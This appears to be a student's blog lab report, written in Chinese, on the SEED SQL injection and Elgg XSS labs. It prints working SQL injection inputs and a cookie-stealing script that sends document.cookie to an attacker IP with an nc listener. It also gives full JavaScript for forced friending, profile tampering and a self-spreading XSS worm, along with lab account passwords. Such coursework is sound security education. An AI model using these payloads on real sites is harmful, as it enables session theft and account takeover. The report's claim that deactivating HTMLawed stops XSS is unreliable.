20212803 2021-2022-2 《网络攻防实践》实践十次报告

学号 2021-2022-2 《网络攻防实践》实践X报告

1.实践内容

本次实验为进行SEED SQL注入攻击与防御实验和SEED XSS跨站脚本攻击实验(Elgg)。
seed sql注入与防御攻击的实验要求如下:
1.熟悉sql语句
2.对SELECT语句的SQL注入攻击
3.对UPDATE语句的SQL注入攻击
4.SQL对抗
SEED XSS跨站脚本攻击实验要求如下
1.发布恶意消息,显示警报窗口
2.弹窗显示cookie信息
3.窃取受害者的cookies
4.成为受害者的朋友
5.修改受害者的信息
6.编写XSS蠕虫
7.对抗XSS攻击

sql注入

sql注入攻击是对数据库攻击的常用攻击。在数据库编写代码的时候,程序员的水平参差不齐,没有对用户输入数据的合法性进行判断,这就造成可能的安全问题。
sql注入攻击有如下特点:
1.广泛性:只要是基于sql语言的数据库都有可能被攻击。
2.隐蔽性:注入语句很难与正常语句所分开,且攻击方式多样,很难被防御
3.危害大:这种攻击对数据库危害极大
4.操作方便:互联网上很多sql注入工具,简单易学。
注入步骤过程如下:
1.sql注入点探测:通过适当的分析应用程序,可以判断什么地方存在SQL注入点。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
2.收集后台数据库信息:注入之前,我们先要判断一下数据库的类型
3.猜解用户名和密码
4.查找web后台管理入口:可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
5.入侵和破坏:可以上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
sql注入防御措施如下:
1、分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
2、参数传值
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。
3、基础过滤与二次过滤
在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。
4、使用安全参数
在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。
5、漏洞扫描
系统管理员可以通过采购一些专门系统的SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。
6、多层验证
为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库。
7、数据库信息加密

XSS跨站脚本攻击

用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。这就是所谓的xss攻击
xss分为三个类型:
持久型跨站
非持久型跨站
DOM跨站
xss防御规则:
1.不要在允许位置插入不可信数据
2.在向HTML元素内容插入不可信数据前对HTML解码
3.在向HTML常见属性插入不可信数据前进行属性解码
4.在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码
5.在向HTML 样式属性值插入不可信数据前,进行CSS解码
6.在向HTML URL属性插入不可信数据前,进行URL解码

2.实践过程

2.1 seed SQL注入攻击与防御实验

熟悉SQL语句
首先打开apache服务器

使用命令 mysql -u root -p登录数据库。

命令show databases; 展示所有数据库,命令use Users;切换到Users数据库。命令show tables;展示数据库中的所有的表。
使用命令select * from credential;打表的信息。


对SELECT语句的SQL注入攻击
在firefox浏览器中打开www.seedlabsqlinjection.com网址,随意输入一个用户名和密码

按f12,点击network,就可以看到如下表单。

我们按照提示打开unsafe_home.php文件,即在命令行输入 vim /var/www/SQLInjection/unsafe_home.php。可以得知数据库的用户名(root)和密码(seedubuntu)。

在unsafe_home.php中可以看到
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
如果我们输入值为Admin'#则#在sql语句为注释,则password不会执行,所以不用密码就可以登陆。


登录结果如下所示

对UPDATE语句的SQL注入攻击
打开如下页面,可以利用漏洞,对admin工资经行修改,修改前的工资为40000

点击edit profile,进入更新信息页面。

使用vim打开此页面的源代码。输入命令

vim /var/www/SQLInjection/unsafe_edit_backend.php

uploading-image-662373.png

发现update语句存在漏洞,构造nickname的输入为',Salary='2803' where name='Admin';# 则将会admin的salary更改为2803。实践结果如下图所示。

SQL对抗
具有漏洞的原因是没有将代码和数据区分开,当代码运行的时候程序不知道哪一个是代码哪一个是数据。所以修改的时候可以将sql语句模块化,让程序知道那一部分是代码,那一部分是程序。

SEED XSS跨站脚本攻击实验

发布恶意消息,显示警报窗口
首先登录网址页面http://www.xsslabelgg.com,登入Alice账号,密码为seedalice进入。点击deit profile按钮,在brief description文本框输入语句然后点击保存。




攻击成功。
弹窗显示cookie信息
在brief description中输入攻击代码
点击save


攻击成功
窃取受害者的cookies
查询到本机ip地址为192.168.200.2 。本次实验将以本地主机为攻击者,窃取受害者的cookies。
我们的攻击原理如下,javascript将cookies发送到主机的2103端口,主机同样监听这一个端口,这样就可以获得信息。
在brief description文本框中输入如下信息

<script>document.write('<img src=http://192.168.200.2:2803?c=' + escape('document.cookie') + ' >');</script>

终端使用命令nc -l 2803 -v 监听。

点击save保存

就显示出了cookie信息

攻击成功

成为受害者的朋友
首先,我们尝试着添加好友。在alice账号中添加boby的好友,然后按F12查看如下信息。

我们可以看到请求的方式post,请求的地址,请求的参数等。因此,就可以构建xxs的攻击代码。

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

此段代码在Alice的edit profile中的About me中运行,并选择Edit HTML模式。然后点击save

登录Boby页面,可以看到已经添加Alice为好友

修改受害者的信息
在Alice账户中,在Edite profile模块中的about me中使用Edit HRML模式输入以下代码,然后点击save

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>



可以看到Boby账户,进入Alice页面,然后返回Bob页面发现Boby的about me被修改了。

编写XSS蠕虫
在Alice账户的edit profile 的about me文本框中以写入如下代码并保存。

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>



Boby被感染了

登录Boby账户访问Alice,然后用admin访问Boby,admin就会被感染。admin账户密码为 seedelgg。


对抗XSS攻击
可以通过内设的安全插件HTMLawed来经行防御攻击。登录admin账户,account-administrator-plugins,选择HTMLawed,Deactivate。

之后xss攻击就无效了。

3.学习中遇到的问题及解决

问题1:在进行xss攻击实验的时候账户不知道密码登录不进去
解决1:询问了同学才得知密码。
问题2:在经行xss攻击实验的时候,输入代码运行不成功。
解决2:得调整代码的格式,变为Edit HTML格式才能成功。

4.实践总结

通过这一次实验,我学习了sql注入和xss攻击的基本操作和基本原理,并且学习了关于这两个攻击的基本防御方法,有了不少收获。并且在这一此实验过程中,我还积极查阅课外资料,知道了sql和xss的一般攻击方法和危害,加深了我对这两个知识点的理解。

posted @ 2022-05-22 21:43  eehh  阅读(326)  评论(0编辑  收藏  举报